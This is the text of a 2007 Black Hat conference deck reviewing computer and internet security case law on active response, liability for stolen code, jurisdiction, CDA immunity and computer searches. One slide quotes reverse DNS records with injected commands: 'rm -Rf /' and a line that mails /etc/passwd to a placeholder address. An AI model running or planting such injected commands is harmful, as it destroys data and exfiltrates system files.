A Year In Review:

Computer and Internet Security Law

2006 - 2007

Black Hat USA 2007
August 2, 2007
Robert W. Clark

Court Recognizes Your Special Skills

- ***United States v. Prochner*, 417 F.3d 54 (D. Mass. July 22, 2005)**
  - **Definition of Special Skills**
    - **Special skill - a skill not possessed by members of the general public and usually requiring substantial education, training or licensing.**
      - **Examples - pilots, lawyers, doctors, accountants, chemists, and demolition experts**
    - **Not necessarily have formal education or training**
      - **Acquired through experience or self-tutelage**
    - **Critical question is - whether the skill set elevates to a level of knowledge and proficiency that eclipses that possessed by the general public.**

Court Recognizes Your Special Skills

- **Since You Are Special**
  - **Clark's Law – Explain @ 3rd Grade Level**
    - **Explaining Technology to Lawyers**
      - **FACTS ARE KING!!!**
    - **Explaining Computer Search/Technology**
    - **E-Discovery Rules**
  - **Final Point- Materials Provided Contain Greater Details than Presentation slides.**

Agenda

- Active Response
- Liability for Stolen Code??
- Jurisdiction
  - Civil Jurisdiction
  - Criminal
- Web Sites – Liabilities & Jurisdiction
- Search & Seizure of Computers
  - Home
  - Work Place
  - Consent & Third Party Consent
- Viacom v. Google
- E-Discovery & Forensics
- Our Discussion – Like law school, just to get you thinking and debating. Not necessarily an endorsement by the presenter, aka- me.

Disclaimer
aka The Fine Print

- **JER 3-307. Teaching, Speaking and Writing**
- **a. Disclaimer for Speeches and Writings Devoted to Agency Matters.** ***A DoD employee who uses or permits the use of his military grade or who includes or permits the inclusion of his title or position as one of several biographical details given to identify himself in connection with teaching, speaking or writing, in accordance with 5 C.F.R. 2635.807(b)(1) (reference (h)) in subsection 2-100 of this Regulation, shall make a disclaimer if the subject of the teaching, speaking or writing deals in significant part with any ongoing or announced policy, program or operation of the DoD employee's Agency, as defined in subsection 2-201 of this Regulation, and the DoD employee has not been authorized by appropriate Agency authority to present that material as the Agency's position.***
- ***(1) The required disclaimer shall expressly state that the views presented are those of the speaker or author and do not necessarily represent the views of DoD or its Components.***
- ***(2) Where a disclaimer is required for an article, book or other writing, the disclaimer shall be printed in a reasonably prominent position in the writing itself. Where a disclaimer is required for a speech or other oral presentation, the disclaimer may be given orally provided it is given at the beginning of the oral presentation.***

Active Response & Self Defense

- Self defense of personal property one must prove that he was in a **place** he had a **right to be**, that he **acted without fault** and that he used **reasonable force** which he reasonably believed was **necessary** to immediately **prevent or terminate** the other person's trespass or interference with property lawfully in his possession
  - *Moore v. State*, 634 N.E.2d 825 (Ind. App. 1994) *and Pointer v.* State, 585 N.E. 2d 33, 36 (Ind. App. 1992)
- Right to exclude people from one's personal property is not unlimited.

Active Response & Self Help

- Common Law Doctrine-Trespass to Chattel
- Owner of personal property has a cause of action for trespass and may recover only the actual damages suffered by reason of the impairment of the property or the loss of its use
- **One may use reasonable force to protect his possession against even harmless interference**
- The law **favors prevention** over **post-trespass recovery**, as it is permissible to use reasonable force to retain possession of a chattel but not to recover it after possession has been lost
  - *Intel v. Hamidi,* 71 P.3d 296 (Cal. Sp. Ct. June 30, 2003

Active Response & Self Help

- *Hoblyn v. Johnson,* 2002 WY 152, 2002 Wyo. LEXIS 173 (Wyo., October 9, 2002, Decided)
  - One is **privileged** to enter land in the possession of another, at a **reasonable time** and in a **reasonable manner,** for the purpose of **removing** a **chattel to the immediate possession** of which the actor is entitled, and which has come upon the land otherwise than with the actor's consent or by his **tortious conduct or contributory negligence.** This privilege is limited to those situations where the actor, as against all persons, is entitled to **immediate possession of the chattel** both at the time when the **chattel** is placed on the land and when the actor seeks to enter and **reclaim** it.

Active Response & Self Help

- Defender or Attacker ?
  - Reverse DNS Entries
    - 252.11.64.178in-addr.arpa 86400 IN PTR rm -Rf / ;
      252.11.64.178in-addr.arpa 86400 IN PTR I rm -Rf /
      253.11.64.178in-addr.arpa 86400 IN PTR ; cat
      /etc/passwd I mail xxx@xxxmail.com
- Attacker or Victim
  - Zone Transfer, one name server located on 178.64.11.8
    - # dig @178.64.11.8 version.bind chaos txt
    - Owned - - *Xterms* manipulated to execute code
  - MX records
  - Custom .NET tool in C# reverse lookup
  - 3 entries catch eye with a LOL
    - rm –Rf /;, 178.64.11.252
      I rm –Rf /, 178.64.11.253
      ; cat /etc/passwd I mail xxx@xxxmail.com, 178.64.11.254

Active Response & Nuisance

- ***Universal Tube & Rollform Equipment Corp., v YouTube, In., et al*., 2007 WL 1655507 (N.D. Ohio. June 4, 2007)**
  - **Lanham Act- Protectable Mark**
    - **Lanham Act provides a cause of action for infringement of a mark that has not been federally registered. Courts must determine whether the mark is protectable, and if so, whether there is a likelihood of confusion as a result of the would-be infringer's use of the mark. Court allows claim to go forward**
  - **Trespass to Chattel**
    - **Trespass to chattel claim, although it involves something as amorphous as "the internet," must still maintain some link to a physical object-in that case, a computer.**
    - **Domain name is an intangible object, much like a street address or a telephone number, which, though it may ultimately point to an approximate or precise physical location, is without physical substance, and it is therefore impossible to make "physical contact" with it. Universal's only hope of succeeding on its trespass to chattels claim, therefore, rests on its ability to show a link to a physical object. Universal entered contract w/ third party for website, so no interest in host's computers. Moreover, YouTube did not make physical contact with computers hosting website, mistaken visitors did.**
  - **Nuisance**

Liability for Stolen Malicious Code

- **Hurdles**
  - **Your Code Stolen**
    - **Secured System**
  - **Your Code Attributed to You**
  - **Victim Sues**
- **Analogy – Stolen Guns (Hey it's the best I can do!!!)**

Liability for Stolen Malicious Code

- **Negligence**
  - **(1) defendant had a duty to the plaintiff;**
  - **(2) defendant failed to perform that duty; and,**
  - **(3) defendant's breach was the proximate cause of the plaintiff's injury**
- **Item Causing the Harm**
  - **Firearms are inherently dangerous, and those who own and control firearms should be required to exercise the highest degree of care**

Liability for Stolen Malicious Code

- **Negligence**
  - **Minimum causation requirement is the "but for" test - accident would not have happened but for the act or omission. Many opinions place emphasis on foreseeability.**
  - **Courts show great reluctance to find liability if the chain of causation includes a series of events, subsequent to the initial act or omission, over which the defendant has absolutely no control - "intervening cause"**

Liability for Stolen Malicious Code

- **Negligence**
  - **The defendant is not invariably excused from liability when the chain of causation includes a criminal act.**
  - **The overwhelming weight of authority holds that the owner of an automobile who parks the car in a public area with the keys in the ignition is not liable to a motorist or a pedestrian injured by the negligent driving of a thief who has an accident after stealing the car. *See Ford v. Monroe*, 559 S.W.2d 759 (Mo. App. 1977).**
  - **June 2006, Sharon Kask, (girlfriend), boyfriend's son, history of violence, under psychiatric observation, home-made gun cabinet, unscrews hinges, takes gun, shoots cop 3 times. Mass. high court reverse summary judgment says, foreseeable that he'd use unsupervised access to house to steal gun and cause harm.**

Liability for Stolen Malicious Code

- Negligence – Malicious Code
  - The defendant is not invariably excused from liability when the chain of causation includes a criminal act.
  - Your Computer or Network
    - Secured – with what and how.
    - Advertisement that code may be on system
      - Work in Security Field
      - IRC or Chat Rooms
      - Lectures and Presentations at say . . . Black Hat
- The Item Causing the Harm
  - Code - how inherently dangerous?
    - Virus
    - Worm
    - Rootkit

Terms of Probation

- ***United States v. Voelker*, --- F.3d ----, 2007 WL 1598534 (3d Cir. W.D. Penn. June 5, 2007)**
  - **1. The defendant is prohibited from accessing any computer equipment or any "on-line" computer service at any location, including employment or education. This includes, but is not limited to, any internet service provider, bulletin board system, or any other public or private computer network;**
  - **2. The defendant shall not possess any materials, including pictures, photographs, books, writings, drawings, videos or video games depicting and/or describing sexually explicit conduct as defined at Title 18, United States Code, Section 2256(2); and**
  - **3. The defendant shall not associate with children under the age of 18 except in the presence of a responsible adult who is aware of the defendant's background and current offense and who has been approved by the probation officer**

Terms of Probation

- ***United States v. Voelker*, --- F.3d ----, 2007 WL 1598534 (3d Cir. W.D. Penn. June 5, 2007)**
  - **Condition must be "reasonably related" to the factors set forth in 18 U.S.C. § 3553(a). Those factors include: "(1) the nature and circumstances of the offense and the history and characteristics of the defendant; [and] (2) the need for the sentence imposed . . . (B) to afford adequate deterrence to criminal conduct; (C) to protect the public from further crimes of the defendant; and (D) to provide the defendant with needed educational or vocational training, medical care, or other correctional treatment in the most effective manner." 18 U.S.C. § 3553(a). Any such condition must impose "no greater deprivation of liberty than is reasonably necessary" to deter future criminal conduct, protect the public, and rehabilitate the defendant**

Terms of Probation

- ***United States v. Voelker*, --- F.3d ----, 2007 WL 1598534 (3d Cir. W.D. Penn. June 5, 2007)**
  - **PROHIBITION OF COMPUTER EQUIPMENT AND THE INTERNET**
  - Voelker contends that an absolute lifetime ban on using computers and computer equipment as well as accessing the internet, with no exception for employment or education, involves a greater deprivation of liberty than is reasonably necessary and is not reasonably related to the factors set forth in 18 U.S.C. § 3583. We agree.
  - The ubiquitous presence of the internet and the all-encompassing nature of the information it contains are too obvious to require extensive citation or discussion

Civil Jurisdiction v Criminal Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
- ***Hageseth v Superior Court of San Mateo County,* --- Cal.Rptr.3d ----, 2007 WL 1464250, Cal.App. 1 Dist. (May 21, 2007)**

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - **Plaintiff sued for destruction of personal property, defamation, intentional infliction of emotional distress, tortious interference with a business, computer trespass, and computer tampering.**
  - **On February 20, 2005, the defendants, his uncle and aunt, without permission or authority, entered the Website from their home computer in Florida, deleted all of the files on the Website, and placed their own picture of the plaintiff on the Website, with phrases such as "Pig of the Year," and "I'm going to eat everything in site," next to the plaintiff's picture.**

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - Defendants contend the Court lacks jurisdiction over them since defendants do not reside in New York, have not consented to service of process in New York, are not "doing business" in New York, and have no offices or employees in New York
  - Defendants also contend that jurisdiction is lacking given that they have not transacted business in New York, and have had no contacts with New York sufficient to establish that they purposefully availed themselves of the privileges of conducting business in New York.
  - The defendants also maintain that a New York court may not exert personal jurisdiction over them since the defendants have not committed a tortious act within the state.

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - Plaintiff alleges that the Court has personal jurisdiction over the defendants. Plaintiff points out that Courts have held that in this age of instant communications *via* telephone, facsimile and the internet, physical presence of the defendants in New York is not required for a finding of a tortious act within the state. Plaintiff notes that the court should place emphasis on the locus of the tort, not physical presence, when determining a jurisdictional issue. Plaintiff submits that New York was the locus of the alleged tortious act since the plaintiff's computer is located within New York, and the content of plaintiff's Website originated from plaintiff's computer in New York. Therefore, plaintiff argues, it is "wholly immaterial" that the plaintiff's Website was hosted by a Florida internet server.

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - The extent a court may exercise personal jurisdiction over a nondomiciliary without violating the *Due Process Clause* of the Constitution was defined in the Supreme Court's opinion in ***International Shoe Co. v Washington* (326 U.S. 310, 66 S. Ct. 154, 90 L. Ed. 95 [1945]).** In order to subject a defendant to a judgment *in personam*, "if he be not present within the territory of the forum, he must have certain minimum contacts with the forum state such that the "maintenance of the suit does not offend traditional notions of fair play and substantial justice." (*International Shoe Co. v State of Wash., supra at 316*;*World-Wide Volkswagen Corp. v Woodson, 444 U.S. 286, 100 S. Ct. 559, 62 L. Ed. 2d 490 [1980]; see also Indosuez International Finance B.V. v National Reserve Bank, 98 N.Y.2d 238, 774 N.E.2d 696, 746 N.Y.S.2d 631 [2002]*).

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - The issue is whether this Court may exercise personal jurisdiction over the defendants where defendants, though not physically present in New York, allegedly commit tortious acts on an internet website created by plaintiff, thereby injuring plaintiff in New York. Plaintiff maintains that the defendants need not be physically present in New York when committing their alleged tortious acts in order to be subject to personal jurisdiction in New York .
  - Defendants maintain otherwise.
  - New York law is unsettled as to whether defendants' physical presence in New York while committing the tortious act is a prerequisite to jurisdiction.

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp Ct May 10, 2006)**
  - *Citing, Banco Nacional Utramarino v Chan*, 169 Misc. 2d 182, 641 N.Y.S.2d 1006 [Supreme Court New York County 1996], *affirmed in*, 240 A.D.2d 253, 659 N.Y.S.2d 734 [1st Dept 1997],
    - **to allow a defendant to conspire and direct tortious activities in New York, in furtherance of that conspiracy, and then avoid jurisdiction because it directs those activities from outside the State . . . , is to ignore the reality of modern banking and computer technology in the end of the 20th century! A defendant with access to computers, fax machines, etc., no longer has to physically enter New York to perform a financial transaction which may be . . . tortious, i.e., conversion. . . . The emphasis should be on the locus of the tort, not whether defendant was physically here when the tortious act occurred. Once the court finds that the tort occurred *within* the State, it should look at the totality of the circumstances, to determine if jurisdiction should be exercised.**

Jurisdiction

- ***Davidoff v. Davidoff*, 2006 N.Y. Misc. LEXIS 1307 (NY Sp ct May 10, 2006)**
  - **Although the alleged damage to plaintiff's information on the Website was "felt" by plaintiff in New York, it is insufficient that the damages were felt by plaintiff in New York. The relevant inquiry is whether a tortious act occurred in New York. The act of damaging the Website at best, occurred in Florida, where defendants were located when they typed on their computer and accessed the Website's Hosting Company in Florida. In the context of the internet, the content of plaintiff's Website cannot be deemed to be located wherever the content may be *viewed*, for jurisdictional purposes, as it has been held that the mere fact that the posting appears on the website in every state will not give rise to jurisdiction in every state (emphasis added) (*see Seldon v Direct Response Tech., 2004 U.S. Dist. LEXIS 5344 [SDNY 2004]*).**
  - **The result may have been different if the defendants tapped into and interfered with plaintiff's information located on a server or inside a computer physically situated in New York. However, the server here is located in Florida, and the alleged acts of the defendants never reached beyond the bounds of Florida into New York.**

Jurisdiction

- ***McCague v. Trilogy Corp.*, 2007 WL 839921 (E.D. Pa. Mar 15, 2007)**
  - **Defendant a charter boat company in Hawaii.**
  - **Two websites with emails to customer base, general information and promotional material, allows reservation of boat tours**
  - **Anthony McCague goes whale watching and has rough trip**
  - **Alleges fractured back and other injuries**
  - **Alleges negligently operated in rough seas.**
  - **Sues in Pennsylvania**
  - **Court holds- no personal or general jurisdiction over Defendants**

Jurisdiction

- ***McCague v. Trilogy Corp.*, 2007 WL 839921 (E.D. Pa. Mar 15, 2007)**
  - **Issue is whether Trilogy's websites, accessible in Pennsylvania, constitute a continuous or systematic part of Trilogy's general business sufficient to establish personal jurisdiction over it in this district. There are no United States Supreme Court or Third Circuit Court of Appeals cases deciding whether an internet website can establish general personal jurisdiction over a defendant. One district court has determined this by a sliding scale: personal jurisdiction is proper if a website is "interactive" but not if the website is passive. *Molnlycke,* 64 F.Supp. 2d at 451.**
  - **Trilogy's website neither wholly passive or interactive.**
  - **Trilogy's website do not specifically target Pennsylvanians**
  - **Business from website minimal percentage**

Web Site as Doctor

- ***Hageseth v Superior Court of San Mateo County,* --- Cal.Rptr.3d ----, 2007 WL 1464250, Cal.App. 1 Dist. (May 21, 2007)**
  - **June 2005, Stanford freshman, John McKay accessed an overseas online pharmacy portal, USAnetrx.com, to obtain prescription drugs "without the embarrassment of talking to a doctor." Unlike most online pharmacies, this site did not require a faxed or mailed prescription from a licensed pharmacist.**
  - **McKay ordered 90 capsules of the Prozac after sending his credit card and some medical history through an online questionnaire.**
  - **Order routed through JRB Health Solutions, a Florida company.**
  - **Colorado physician Dr. Christian Hageseth, a JRB subcontractor, authorized the prescription, without speaking to McKay.**
  - **A Mississippi-based pharmacy used by JRB filled the prescription and sent the medication to McKay in California.**
  - **On August 2, 2005, intoxicated on alcohol and with Prozac in his system, McKay - in an apparent suicide -- died of carbon monoxide poisoning**

Web Site as Doctor

- ***Hageseth v Superior Court of San Mateo County,* --- Cal.Rptr.3d ----, 2007 WL 1464250, Cal.App. 1 Dist. (May 21, 2007)**
  - **San Mateo County District Attorney filed a criminal complaint charging petitioner with the felony offense of practicing medicine in California without a license in violation of section 2052 of the Business and Professions Code punishable by one year confinement and a $10,000 fine**
  - **Question whether a defendant who was never himself physically present in this state at any time during the commission of the criminal offense with which he is charged, and did not act through an agent ever present in this state, is subject to the criminal jurisdiction of respondent court even though no jurisdictional statute specifically extends the extraterritorial jurisdiction of California courts for the particular crime with which he is charged**

Web Site as Doctor

- ***Hageseth v Superior Court of San Mateo County*, --- Cal.Rptr.3d ----, 2007 WL 1464250, Cal.App. 1 Dist. (May 21, 2007)**
  - **Conduct consisted entirely of Internet-mediated communications**
  - **Petitioner was at all material times located in Colorado and never directly communicated with anyone in California regarding the prescription. His communications were only with JRB, from whom he received McKay's online request for fluoxetine and questionnaire, and to whom he sent the prescription he issued**
  - **Motion to dismiss for failure to state a crime (demur –territorial jurisdiction)**

Web Site as Doctor

- ***Hageseth v Superior Court of San Mateo County,* --- Cal.Rptr.3d ----, 2007 WL 1464250, Cal.App. 1 Dist. (May 21, 2007)**
-
  - **When the commission of a public offense, commenced without the State, is consummated within its boundaries by a defendant, himself outside the State, through the intervention of an innocent or guilty agent or any other means proceeding directly from said defendant, he is liable to punishment therefor in this State in any competent court within the jurisdictional territory of which the offense is committed**.
  - **A preponderance of the evidence shows that, without having at the time a valid California medical license, petitioner prescribed fluoxetine for a person he knew to be a California resident knowing that act would cause the prescribed medication to be sent to that person at the California address he provided. If the necessary facts can be proved at trial beyond a reasonable doubt, the People will have satisfactorily shown a violation of Business and Professional Code section 2052. It is enough for our purposes that a preponderance of the evidence now shows that petitioner intended to produce or could reasonably foresee that his act would produce, and he did produce, the detrimental effect section 2052 was designed to prevent.**

Search- Jurisdiction

- ***In the Matter of the Search of Yahoo, Inc.*, 2007 WL 1539971 (D.Ariz May 21, 2007).**
-
  - **Court finds that 18 U.S.C. § 2703(a) authorizes a federal district court, located in the district where the alleged crime occurred, to issue search warrants for the production of electronically-stored evidence located in another district. The warrant must be issued in compliance with the procedures described in FRCP 41. FRCP 41(b) however, does not limit the authority of a district court to issue out-of-district warrants under § 2703(a) because Rule 41(b) is not procedural in nature and, therefore, does not apply to § 2703(a).**
  - **Court concludes that § 2703(a) authorizes an Arizona magistrate judge to issue an out-of-district search warrant for the contents of communications electronically-stored in California when the alleged crime occurred in the District of Arizona.**

Web Based Software as Counsel

- ***In re Reynoso*, 477 F.3d 1117 (9th Cir. N.D. Cal. Feb. 27, 2007)**
- Website Bankruptcy Software Product
  - Held- Engaged in fraud and Unauthorized Practice of Law
  - Court found vendor qualified as a bankruptcy petition preparer, first time that the Ninth Circuit had determined that a software-provider could qualify as such
  - Services rendered must go beyond mere clerical preparation or impersonal instruction on how to complete the forms
  - Several features of software and how it was presented to users constituted the unauthorized practice of law.
  - Vendor – “offering legal expertise” “loopholes in the bankruptcy code” "top-notch bankruptcy lawyer" "expert system."

Web Based Software as Counsel

- ***In re Reynoso*, 477 F.3d 1117 (9th Cir. N.D. Cal. Feb. 27, 2007)**
  - More than mere clerical services. Software chose where to place the user's information, selected which exemptions to claim, and provided the legal citations to back everything up.
  - Court concluded this level of personal, although automated, guidance amounted to the unauthorized practice of law.
  - Ninth Circuit specifically limited its holding to the facts of the case, and gave no opinion whether software alone (i.e., without the representations made on the web site) or different types of programs would constitute an unauthorized legal practice.
  - The decision stands for the proposition that an overly expert program, coupled with poorly chosen statements, can expose a software vendor to claims of practicing law without a license

Web Pages & ISP

- ***Universal Communication Systems, Inc. v. Lycos, Inc.*, --- F.3d ----, 2007 WL 549111, (1st Cir. Mass. February 23, 2007)**
  - **Plaintiffs USC and its CEO brought suit, objecting to a series of allegedly false and defamatory postings made under pseudonymous screen names on an Internet message board operated by Lycos, Inc**
  - **Communications Decency Act 47 U.S.C. § 230 - Congress granted broad immunity to entities, such as Lycos, that facilitate the speech of others on the Internet**
  - **Allegations of disparaging financial conditions; business prospects; management integrity**
  - **230- No provider or user of an interactive computer service shall be treated as the publisher or speaker of any information provided by another information content provider**

Web Pages & ISP

- ***Fair Housing Council v Roommates.com,* --- F.3d ----, 2007 WL 1412650 (9th Cir. C.D. Cal. May 15, 2007)**
  - **According to the CDA, no provider of an interactive computer service shall be treated as the publisher or speaker of any information provided by another information content provider. 47 U.S.C. § 230(c). One of Congress's goals in adopting this provision was to encourage "the unfettered and unregulated development of free speech on the Internet." *Batzel* v. *Smith*, 333 F.3d 1018, 1027 (9th Cir. 2003)**
  - **Councils do not dispute that Roommate is a provider of an interactive computer service. As such, Roommate is immune so long as it merely publishes information provided by its members. However, Roommate is not immune for publishing materials as to which it is an "information content provider." A content provider is "any person or entity that is responsible, *in whole or in part*, for the creation or development of information provided through the Internet." 47 U.S.C. § 230(f)(3) (emphasis added). If Roommate is responsible, in whole or in part, for creating or developing the information, it becomes a content provider and is not entitled to CDA immunity.**

Seizures

- ***In re Forgione*, 2006 Conn. Super. LEXIS 81 (January 6, 2006)**
  - **Petitioner family members filed a motion for the return of unlawfully seized computer items under U.S. Const. amend. IV and XIV and Conn. Const. art. I, §§ 7 and 8, as well as the return of their seized internet subscriber information. They further moved for a court order suppressing the use of the computer items and the subscriber information as evidence in any criminal proceedings involving any member of the family**
  - **A university student complained to the school's information security officer that someone had interfered with the student's university E-mail account. The officer determined the internet protocol address from where the student's account was being accessed and informed the police of his findings. The police then obtained a search warrant to learn from an internet service provider to whom that address belonged. Once the police were informed that the address belonged to one of the family members, they obtained a search warrant for the family members' home**

Seizures

- ***In re Forgione*, 2006 Conn. Super. LEXIS 81 (January 6, 2006)**
  - **The family members asserted that the searches and seizures under the search warrants were improper.**
  - **The court found that, using the totality of the circumstances test, there was an abundant basis, without the student's statement to the officer about a breakup with a family member, within the four corners of either search and seizure warrant affidavits, to reasonably indicate to either warrant-issuing judge that probable cause existed for issuance of the requested orders. Further, the family members did not have an expectation of privacy in the subscriber information, as it was voluntarily divulged to the internet service provider**

Computer Search
Third Party Consent

- ***U.S. v. Rader*, 65 M.J. 30 (U.S.C.C.A. May 04, 2007)**
  - **The question before us is whether Appellant's roommate had sufficient access and control of Appellant's computer to consent to the search and seizure of certain unencrypted files in Appellant's non-password-protected computer.**
  - **Joint Occupants - Accused's roommate had sufficient access to and control over Accused's computer to give valid consent to its search, where the computer was located in roommate's bedroom, it was not password protected, accused never told roommate not to access computer.**

Computer Search
Third Party Consent

- ***U.S. v. Buckner*, 473 F.3d 551 (4th Cir. W.D. Vir. Jan 7, 2007)**
  - **Police Investigation of Michelle Buckner for fraud using AOL and eBay accounts**
  - **Knock and talk, Michelle not home husband Frank is home, cops ask Frank to have Michelle contact them**
  - **Michelle goes to police station says she knows nothing about the fraud and that she leases the computer in her name and uses it occasionally to play solitaire. Police re-visit Buckner household next day**
  - **Michelle again agrees to cooperate fully telling officers take whatever you want.**
  - **Computer on living room table, oral consent to seize, cops take PC and mirror the hard drive**
  - **Frank indicted on 20 counts of wire fraud.**
  - **Frank motion to suppress and testifies access to his files requires a password**
  - **Nothing in record indicates officers knew files were password protected and their forensic analysis tool would not necessarily detect passwords.**

Computer Search
Third Party Consent

- ***U.S. v. Buckner*, 473 F.3d 551 (4th Cir. W.D. Vir. Jan 7, 2007)**
  - **No actual authority to consent**
    - **Common authority, mutual use**
  - **Michelle has apparent authority**
    - **Facts to officers, totality of circumstances, appear reasonable**
  - **Investigation focused on Michelle, PC in her name, no indication files password protected; Frank told of investigation and does not affirmatively states his files password protected**
  - **Cops cannot rely on apparent authority to search using a method to intentionally avoid discovery of passwords or encryption protection by user.**
  - **In this case they simply didn't check for it.**

  - ***U.S. v. Aaron*, 2002 WL 511557 (6th Cir. April 3, 2002) Girlfriend consents no passwords**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
  - **Investigation of Regpay, third-party billing and CC company provides subscribers with access to websites containing child pornography**
  - **Ray Andrus identified; records check gives house address; Ray, Richard & Dr. Bailey Andrus**
  - **Email address provided to Regpay, Bandrus@kc.rr.com**
  - **Investigation focuses on Ray, but 8 months later not enough for warrant so decide on knock and talk**
  - **Dr. Andrus answers door**
  - **So issue clearly becomes third party consent, <u>sufficient access</u> and <u>control</u> yada, yada, yada**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
  - **Dr. Andrus answers door in pajamas**
  - **Dr. Andrus 91 years old (nothing said on faculties or frailty)**
  - **Dr. Andrus invites officers in**
  - **Informs officers Ray lives in center bedroom; did not pay rent; living here to care for his elderly parents**
  - **Bedroom door open and in plain sight of officers and Dr. Andrus states he has access to bedroom feels free to enter when door open but knocks when it is closed**
  - **Officer asks Dr for consent to search house and computers in it, Dr agrees.**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
  - **District Court determined Dr. Andrus' consent was voluntary, but lacked actual authority to consent to a computer search. Dr. Andrus did not know how to use the computer, had never used the computer, and did not know the user name that would have allowed him to access the computer. The district court then proceeded to consider apparent authority. It indicated the resolution of the apparent authority claim in favor of the government was a "close call."**
  - **Dr. Andrus authority to consent to a search of the computer reasonable until learned only one computer. Because Cheatham instructed Kanatzar to suspend search no Fourth Amendment violation.**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
  - **District Court, Apparent authority because:**
    - **(1) Email address bandrus@kc.rr.com associated with Dr. Bailey Andrus, used to register with Regpay and procure child pornography;**
    - **(2) Dr. Andrus told the agents he paid the household's internet access bill;**
    - **(3) Agents knew several individuals lived in the household;**
    - **(4) Bedroom door not locked, leading a reasonable officer to believe other members of the household could have had access to it;**
    - **(5) Computer in plain view of anyone who entered the room and appeared available for anyone's use. Implicit in the district court's analysis assumption that officers could reasonably believe Dr. Andrus accessed the internet through computer in bedroom, giving Dr. Andrus the authority to consent to a search of the computer.**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
- **At Appellate level**
  - **Objects associated with high expectation of privacy include valises, suitcases, footlockers, and strong boxes.**
  - **Case of first impression for 10th Circuit. Court notes individual's expectation of privacy in computers has been likened to a suitcase or briefcase. *U.S. v. Aaron*, 2002 WL 511557 (6th Cir. April 3, 2002)**
  - **Password protected files compared to locked footlockers. *Trulock v. Freeh*, 275 F.3d 391 (4th Cir. 2001)**
  - **For most people, their computers are their most private spaces. People commonly talk about the bedroom as a very private space, yet when they have parties, all the guests—including perfect strangers —are invited to toss their coats on the bed. But if one of those guests is caught exploring the host's computer, that will be his last invitation. *United States v. Gourde*, 440 F.3d 1065, 1077 (9th Cir. 2006) (en banc)(Kleinfeld, J., dissenting).**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
- **Looking good for home team and locked computer files, then-**
  - **Reasonable officer and knowing or seeing the a computer or file is locked, visual inspection, not apparent**
  - **Password or locked may only be discovered by starting up the machine or attempting access to file**
  - **Court acknowledges the EnCase allows user profiles and passwords to be by passed. Court fails to acknowledge that it can also be set up to identify passwords**
  - **Critical issue- whether LEA knows or reasonably suspects computer is password protected**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
  - **Critical issue- whether LEA knows or reasonably suspects computer is password protected**
    - **Computer in bedroom occupied by 51 year old son**
    - **Dr unlimited or at will access to room (Court forgets when door closed Dr knocks and doesn't simply go in)**
    - **No specific questions to this 91 year old about his use of PC but Dr said nothing indicating need for such questions (shift of burden here??)**
    - **Dr owned house and internet bill in his name (okay)**
    - **Email address his initials bandrus (iffy at best)**
  - **Defendant argument- PC locked cops would have known if they asked.**
    - **Court reply- officers are not obligated to ask questions unless circumstances are ambiguous.**
    - **Court doesn't feel password protection so pervasive that officers ought to know password protection likely. Comments that dissent wants to take judicial notice of this fact.**

Computer Search
Third Party Consent

- ***U.S. v. Andrus*, 483 F.3d 711 (10th Cir. D. Kan. April 25, 2007)**
- **Finally-**
  - **Ray Andrus subsequent consent to search- Court holds voluntary**
- **And lastly, being a former Gov't Hack. . .**
  - **The "seen" lock argument. Pretty damn good cops that can see if my footlocker or briefcase is locked if it is a typical key system**
  - **EnCase easily configured to first check for users and passwords**

Computer Search Revoking Consent

- ***United States v. Ward,* 576 F.2d 243 (9th Cir. 1978); *Mason v. Pulliam,* 557 F.2d 426 (5th Cir. 1977).**
  - **Both dealt with the revocation of consent concerning financial documents provided to the Internal Revenue Service (IRS). In both cases, the taxpayers revoked consent to search financial documents and the courts suppressed evidence taken from the records after consent had been withdrawn. While these courts suppressed certain documents seized after consent was revoked, neither court suppressed incriminating evidence discovered prior to the revocation.**
- ***Jones v. Berry,* 722 F.2d 443 (9th Cir. 1983)**
  - **IRS agents received permission to search a residence and seized sixteen boxes of documents. On that same day, after documents seized, defendant revoked consent and demanded the return of the documents. The IRS refused to return the documents.**
  - **Ninth Circuit held documents properly seized prior to the revocation of consent were not taken in violation of the fourth amendment. The holding requires only the suppression of evidence discovered after the consent had been revoked.**
  - **No claim can be made that items seized in the course of a consent search, if found, must be returned when consent is revoked. Such a rule would lead to the implausible result that incriminating evidence seized in the course of a consent search could be retrieved by a revocation of consent.**
- ***U.S. v. Andracek*, 2007 WL 1575355 (E.D.Wis., May 30, 2007)**
  - **Defendant does not revoke consent in light of threat to subsequently obtain a warrant. Still voluntary.**
  - **As for the agents' statements indicating that they would be requesting a warrant if Andracek did not consent to the seizure of his computer, this can hardly be considered a threat. This was a logical alternative if Andracek did not consent to the seizure of his computer. Obtaining a warrant is adherence to the text of the Constitution, and in particular, the Fourth Amendment. Under the attendant circumstances, the agent's statement to abide by the Constitution and seek a warrant cannot be considered a threat.**

Searches- Consent

- ***U.S. v. Stierhoff,*** **--- F.Supp.2d ----, 2007 WL 763984 (D. R.I. March 13, 2007)**
